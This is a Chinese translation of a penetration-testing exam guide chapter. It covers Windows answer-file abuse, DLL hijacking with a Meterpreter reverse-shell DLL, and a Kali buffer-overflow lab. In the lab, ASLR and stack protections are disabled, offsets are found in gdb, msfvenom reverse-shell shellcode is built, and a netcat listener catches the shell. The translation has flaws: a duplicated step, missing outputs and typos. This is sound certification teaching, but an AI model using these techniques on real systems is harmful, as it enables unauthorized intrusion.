翻译“CompTIA PenTest Certification All-in-One Exam Guide Exam2019.pdf” 第十章
无人值守安装
Windows无人参与安装在初始安装期间使用应答文件进行处理。您可以使用应答文件在安装过程中自动执行任务,例如配置桌面背景、设置本地审核、配置驱动器分区或设置本地管理员账户密码。应答文件是使用Windows系统映像管理器创建的,它是Windows评估和部署工具包(ADK:Assessment and Deployment Kit)的一部分,可以从以下站点免费下载https://www.microsoft.com.映像管理器将允许您保存unattended.xml文件,并允许您使用新的应答文件重新打包安装映像(用于安装Windows)。在渗透式测试期间,您可能会在网络文件共享或本地管理员工作站上遇到应答文件,这些文件可能有助于进一步利用环境。如果攻击者遇到这些文件,以及对生成映像的主机的本地管理员访问权限,则攻击者可以更新应答文件以在系统上创建新的本地账户或服务,并重新打包安装文件,以便将来使用映像时,新系统可以受到远程攻击。
DLL劫持攻击
本机Windows应用程序使用Windows DLL以正常运行。当软件安装在Windows上时,该程序将包括一组需要安装到操作系统的DLL,并依赖于操作系统提供的一些内置DLL。当应用程序加载时,它将使用一种常见的方法来查找要加载到程序中的所有必需DLL。DLL不是使用完全限定路径调用的(即DLL应该位于操作系统上的位置)。因此,如果DLL不存在,或者以不安全的方式实现(例如权限较弱的目录路径),并且攻击者获得了对DLL搜索路径上某个目录的控制,则可能通过强制应用程序加载和执行恶意DLL来提升权限。程序在搜索DLL时使用以下顺序:
1.程序安装目录
2.Windows系统目录(C:WindowsSystem32)
3.Windows目录(C:WindowsSystem)
4.当前工作目录
5.系统PATH环境变量中的目录
6.用户路径环境变量中的目录
要帮助查找本地程序中的DLL搜索顺序劫持(ATT&CK ID:T1038)漏洞,可以下载一个名为Process Monitor的Windows SysInternals实用程序(https://docs.microsoft.com/enus/sysinternals)。Process Monitor应用程序(procmon)用于监视本地系统上运行的进程。您可以使用该工具实时调查缺少DLL文件的运行进程,如发布到的“DLL劫持”文章所示https://pentestlab.blog/.要利用DLL劫持漏洞进行攻击,请首先检查该DLL是否存在于磁盘上的任何其他搜索路径中。如果DLL不存在,您可以将DLL的恶意副本放在您有写访问权的目录的执行路径中(例如,使用msfvenom生成带有MeterPeter reverse_tcp外壳负载的DLL)。当进程重新启动时,应加载DLL,恶意进程应以运行进程的权限执行负载。如果该DLL确实存在于磁盘上某个搜索路径中的其他位置,请查看是否可以写入具有更高优先级的位置(即安装目录)。使用procmon,您可以应用特定的过滤器,例如查找以系统级权限运行的应用程序和缺少的DLL文件。
考试提示您可能会在考试中看到基于场景的问题,询问您是否可以确定在参与过程中哪些进程可以作为权限提升的目标,例如那些使用系统级权限运行的进程。
可利用的服务
到目前为止,在本章中,我们讨论了利用已知内核级漏洞并对Linux、Mac和Windows目标操作系统执行不同类型的权限提升攻击的各种方法。在本节中,我们将讨论与CompTIA 渗透式测试 考试相关的用于权限提升的缓冲区溢出和两种常见的Windows服务漏洞利用。
缓冲区溢出
应用程序将静态(堆栈)或动态(堆)存储变量和分配内存,两者都存储在计算机的随机存取内存(RAM)中。在堆栈上分配的变量可以快速访问并直接存储到内存中。堆栈是一种数据结构,有两个简单的操作,push和pop,它们遵循后进先出(LIFO)行为模型。推送操作将数据存储在堆栈顶部,pop从堆栈顶部检索数据。堆栈的真实示例(摘自https://www.i-programmer.info)是你能吃到的餐馆里的盘子架。你从盘子里拿出一个盘子,去拿些食物,新盘子从厨房里拿出来,放在盘子架上。当从顶部取出一块新的盘子时,会弹出下一块盘子来替换它,这个循环会自动重复。要从堆栈中释放一个块,只需调整指向下一个内存地址的指针。如果您知道在编译之前需要分配多少数据,可以使用
堆栈(例如,int x=1)。否则,可以使用堆。
堆是特定于应用程序的(例如基于Java的应用程序),访问内存的速度比堆栈慢一些,因为变量是在运行时分配的,它可以容纳比堆栈更多的数据,这取决于对象在程序中声明时的大小。堆大小根据提供给应用程序的虚拟内存量进行调整。堆很复杂,因此可以随机访问内存,并且程序可以随时释放内存。堆中的缓冲区溢出可能会导致问题,因为它们不受能够使用不可执行堆栈的CPU的保护。图10-9中所示的以下易受攻击堆程序是用C编写的,代表了https://www.owasp.orgwiki页面。程序将在溢出前后打印两个值的内容:“buf0”和“buf1”。
图10-9 OWASP堆溢出示例
用于声明堆空间的动态内存函数是malloc()。在本例中,BSIZE变量用于定义“buf0”和“buf1”的长度编译和执行程序时,您将看到初始值、溢出前和溢出后缓冲区内容打印到终端。“buf1”变量被OVERSIZE(八个字节)加上“buf0”中声明的位置之间的字节差(即, b_diff OVERSIZE)覆盖对于动态内存分配,了解缓冲区的大小以及对所有内存访问执行边界检查非常重要。Java和.NET机器(举几个例子)通常会捕获试图在保留内存空间之外写入的代码。
基于堆栈的缓冲区溢出类似于前面的堆示例,因此,当程序向缓冲区写入的数据超过堆栈分配的处理量时,可能会导致覆盖现有堆栈数据,并在覆盖指令指针时导致拒绝服务或任意代码执行。用户提供的输入未经验证可能是溢出的罪魁祸首(CWE-120)。大多数现代操作系统和编译器都有内置的缓冲区溢出保护,以帮助防止缓冲区溢出攻击。
堆栈金丝雀用于在执行恶意代码之前检测缓冲区溢出(堆栈保护)。程序启动时,将生成一个小的随机整数,并将其放置在堆栈顶部,正好位于堆栈返回指针之前。如果输入值大于其长度,它将覆盖金丝雀值,导致程序抛出分段错误(segfault),因为输入值的内容试图覆盖内存的受限区域。过去,Linux允许在堆栈上执行指令。然而,数据执行预防(DEP)控制(不可执行堆栈,或NX)堆栈上的这种类型的执行行为,因为仍有遗留二进制文件和共享库允许这些操作。基于堆栈的缓冲区溢出将试图通过执行存储在堆栈上的有效负载来控制程序执行流。DEP对于堆栈缓冲区溢出来说是个坏消息,因为execute权限被禁用,并且会使恶意负载对目标无效。
注意,“return-to-libc”(Ret2libc)攻击是一种利用libc(C标准库)子例程中的缓冲区溢出漏洞劫持程序控制流的技术,该漏洞用于执行对执行有用的功能,例如进行系统调用。子例程是较大程序的一部分,包括一组执行任务的指令。可以使用库函数,而不是将恶意负载写入堆栈,恶意程序可以使用其条目位置覆盖返回地址。
随着本练习的进行,我们将针对易受基于堆栈的缓冲区溢出影响的易受攻击程序进行一些基本的漏洞利用开发。本练习的灵感来自https://bytesoverbombs.io网站您需要更新版本的Kali Linux和Internet连接才能完成练习并利用以下易受攻击的代码(我称之为overflow.c)。为支持此练习而开发的文件和源代码与本书附带的在线内容一起提供(有关详细信息,请参阅附录)。为了完成此练习,我们需要禁用一些内置保护机制,例如堆栈金丝雀和可执行空间保护。下面的溢出程序将任意大小的argv变量保存到400字节的缓冲区中,并且在执行之前不会检查参数的实际大小。
1. 下载overflow.c源代码,使用gcc编译源代码,并禁用canary和DEP的堆栈保护:
代码语言:javascript复制# gcc overflow.c -o overflow -fno-stack-protector -z execstack
2. 我们将禁用的最后一个缓冲区溢出保护是地址空间布局随机化(ASLR)。此功能使内存空间随机化,以便每次执行程序时固定位置的内容都不同。这将使我们的恶意负载再次无用。但在尝试禁用ASLR之前,让我们测试一下环境,看看堆栈指针是否是随机的。下载堆栈指针。c代码联机并根据您的系统架构进行编译:
代码语言:javascript复制# gcc –o stackpointer stackpointer.c
让我们看看stackpointer.c代码,看看如何验证堆栈地址。首先,在程序的主要部分中,status被声明为值为0的未分配长变量(扩展大小变量)。下一步是打印变量状态的堆栈值。
当我们多次执行堆栈指针程序时,您可能会看到每次执行程序时,地址值都是随机化的。这是因为ASLR仍处于启用状态。现在,让我们通过在终端窗口中键入以下命令暂时禁用ASLR:
# echo 0 > /proc/sys/kernel/randomize_va_space
一旦ASLR被禁用,如果我们再次运行stackpointer程序,地址空间将不再随机,我们应该返回相同的地址。一旦操作系统重新启动,或者如果randomize_va_space值设置回“1”,ASLR将重新启用。
3. 所有阻止我们完成练习的缓冲区溢出保护现在都应该被禁用。让我们开始为我们的程序开发一个漏洞。我们程序中的数组只能容纳400个字符(char buffer[400])。以下printf命令语法将向输入缓冲区传递400个A,程序将向终端窗口打印所有A:
代码语言:javascript复制# printf 'A%.0s' {1..400} | ./overflow
了迫使程序崩溃(分段错误),我们修改printf命令语法,将500 A重定向到文本文件,然后将文本文件读入输入缓冲区:
代码语言:javascript复制
# printf 'A%.0s' {1..500} > crash.txt
# ./overflow < crash.txt
喔误!您刚刚溢出了输入缓冲区,并在程序中创建了一个分段错误。使用gdb调试器(https://www.gnu.org/s/gdb),我们将执行易受攻击的程序,并提供参数“argv”500 A,以模糊程序并查看发生了什么。要查看gdb的命令帮助选项列表,请使用-h选项。.
4. 现在我们可以看到导致分段错误的内存地址0x00005555555471e,它位于overflow()函数中。让我们仔细看看出错期间的寄存器
代码语言:javascript复制(gdb) info registers
我们的有效负载向程序发送了足够多的A以写入RBP寄存器,导致程序跳转到内存中的0x414141414141.
注:计算机通过寄存器管理堆栈。寄存器作为内存中的专用位置,在使用数据时存储数据。大多数寄存器临时存储用于处理的值。在堆栈中存储最后一个程序请求地址的小寄存器称为堆栈指针。RSP(堆栈指针)、RBP(基指针)和RIP(指令指针)是帮助促进程序执行的重要寄存器。堆栈在后进先出(LIFO)模式下运行,使用名为push p()的指令在堆栈上存储一个值,并使用pop()检索上次从堆栈中推送的值,同时RSP跟踪队列中的下一个位置。基指针用于记住堆栈的底部(即end)所在的位置,指令指针保存CPU正在执行的指令的地址。对于缓冲区溢出,如果可以控制RBP,就可以控制RIP并获得对执行位置的控制。在我们进行这项练习时,了解RSP和RBP登记册将非常重要。
5. 让我们仔细看看将在overflow()函数中执行的汇编代码。我们将使用反汇编溢出来反汇编函数。
(gdb) disassemble overflow
6. 然后我们可以在callq上插入一个断点。当在< 43>处到达汇编指令时,断点将导致程序停止执行(暂停程序)。这使我们能够在再次运行负载时,在执行时检查程序状态:
代码语言:javascript复制(gdb) break * overflow 43
(gdb) run < crash.txt
7. 正如我在步骤4中提到的,RSP和RBP很重要,因为我们需要使用这些位置来识别偏移量并执行恶意负载。运行以下命令并记录每个寄存器的地址,因为我们需要它们来完成练习(您的主机上的寄存器值可能不同):
代码语言:javascript复制(gdb) x $rsp
(gdb) x $rbp
8. 正如我在步骤4中提到的,RSP和RBP很重要,因为我们需要使用这些位置来识别偏移量并执行恶意负载。运行以下命令并记录每个寄存器的地址,因为我们需要它们来完成练习(您的主机上的寄存器值可能不同):
(gdb) x/120x $rsp
9. 使用gdb调试器,进入下一个操作,使用nexti读入所有的A,并重用前面的$rsp命令查看缓冲区溢出后堆栈中的情况。您应该看到,我们已经用大量0x41414141 (A’s)完全接管了堆栈的控制:
代码语言:javascript复制(gdb) nexti
(gdb) x/120x $rsp
10. 为了插入恶意负载并执行shell,而不是一堆a,我们需要知道在500字节的负载中,它在哪里覆盖RBP以导致跳转。Metasploit有两个工具可以促进此活动,msf-pattern_create(或pattern_create),它创建一个唯一的模式作为不包含任何重复序列的输入缓冲区(而不是a)发送,以及msf-pattern_offset(或pattern_offset),用于定位重写RBP的字节偏移量。根据您使用的是哪个版本的Kali Linux,您可能不需要在pattern_create或pattern_offset命令前面添加msfin。接下来,继续并退出gdb,然后让我们生成随机模式,并将其用作易受攻击程序的参数。在命令行中执行以下命令:
您应该会收到预期的分段错误(SIGSEGV)。由于RSP被覆盖,我们需要手动提供堆栈地址(您应该更早地记录该地址)
代码语言:javascript复制(gdb) x/120x 0x7fffffffdf50
11. 现在,我们在RBP地址0x7FFFFFE0F0的最终位置看到十六进制值0x6f41316f和0x336f4132(这应该是您从步骤7中记下的RBP地址)。在确定偏移量之前,我们需要将十六进制地址转换为ASCII。您可以使用在线提供的表手动执行此操作,网址为https://www.asciitable.com,也可以使用Python和编解码器模块对十六进制的ASCII值进行解码:
当我们将十六进制转换为ASCII时,我们得到的是大端格式的值。要获得little endian格式,请颠倒字符的顺序。例如,little endian中的1234将是4321。这些格式是计算机组织字节顺序(数字)的方式。Linux操作系统的更高版本(2012年及更高版本中发布的任何版本)应允许您使用以下命令语法检查计算机的端度:lscpu | grep Endian。表10-6提供了在RBP位置找到的每个地址的十六进制到ASCII的转换。
表10-6十六进制到ASCII的转换
现在,我们将通过使用最后两个RBP位置生成偏移来确定有效载荷的大小:o1Ao 2Ao3。我们可以将ASCII值(我的计算机使用little endian)加载到Metasploit msfpattern_offset命令中,以导出偏移值:
12. 现在我们有了偏移量并记录了RSP位置地址,我们可以生成一些shell代码并创建新的有效负载。下次执行有效负载时,它将返回一个反向64位shell。让我们使用msfvenom创建一些shell代码:
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4455 -b 'x00' -f python
提示:我们没有与msfvenom讨论过的一个选项是-b标志,它用于避免某些坏字符。我们需要此选项来删除可能位于行尾的空字符(0x00)。如果函数读取空字符,它将停止读取剩余的有效负载,从而阻止我们获取shell,我们不希望发生这种情况。
13. 为方便起见,您可以从本书附带的在线内容下载“payload_gen.py”脚本(有关详细信息,请参阅附录)。我们从步骤12生成的shell代码已经在Python负载生成脚本中,因此无需再添加任何shell代码。现在,用您最喜欢的编辑器程序(即vi、nano等)打开脚本,让我们看看脚本中有什么内容,以便更好地了解幕后的情况以及利用情况。脚本的第一部分将使用您在命令行中提供的名称在当前工作目录中创建一个文件。脚本中的下一步定义offsetLen,这是我们在步骤11中找到的offset值。下一步定义NOP的总量(show for no operation),在我们的代码中表示为nopLen,它是一种汇编语言计算机指令,对程序的状态没有任何影响。我们的代码中使用nopSled来帮助将执行流滑动到堆栈指针,并用其他NOP(x90)指令填充目标大小。我们的受控返回地址(RSP)定义为little endian格式的retAddr。
14. 脚本的第二部分包括存储在buf中的shell代码,它是在步骤12中执行msfvenom命令的输出。填充已被纳入我们的等式中,以帮助确保我们的有效负载足够长,可以覆盖我们的返回地址。在这种情况下,我们将字母B乘以offsetLen – nopLen – len(buff)。最后一步将说明控制执行流和执行shell代码所需的所有元素。
15. 接下来,更新payload_gen.py中的受控返回地址,使其等于步骤9中记录的RSP的值,保存脚本,执行脚本,并提供新文件的名称以生成有效负载:
# python payload_gen.py
然后打开另一个终端窗口并启动本地侦听器,以使用netcat捕获反向shell:
# nc –lvp 4455
16、再次使用溢出程序运行gdb,然后运行该程序并将新的有效负载重定向到程序中作为输入。您应该在运行netcat侦听器的终端窗口中看到一个连接。然后,执行几个命令与新shell交互。
17、我们展示了从gdb内部获得执行的能力,但在调试器外部则是另一回事。当您将程序附加到调试器时,它将改变寄存器,并且在调试器之外执行时,RSP的值将不同,这对于gdb之类的调试器来说是典型的。为了能够在调试器外部利用缓冲区溢出,我们需要确定RSP的实际位置。这可能有点棘手,但有一种方法是复制原始overflow.c编程为不同的名称(例如,verflow_stackpointer.c),并将第12行添加到新文件中,这将在读取函数之前打印堆栈地址位置,就像我们在gdb中分配断点并读取RSP值时所做的那样。
使用步骤1中相同的gcc标志编译新程序。当我们运行程序并输入一周中某一天的任意数据时,程序将返回堆栈地址的值。如果运气好的话,我们可能刚刚找到RSP的真正价值。
18、在另一个终端窗口中,使用netcat在端口4455/tcp上启动另一个侦听器以捕获反向负载。然后,让我们更新paytlod_gen.py脚本以反映新的返回地址值,然后生成一个名为"payload2"的新负载文件,现在不再在gdb中运行负载,而是在终端窗口中执行溢出程序,并将payload2重定向到输入缓冲区。如果一切顺利,您应该会在netcat侦听器窗口中看到一个反向shell弹出。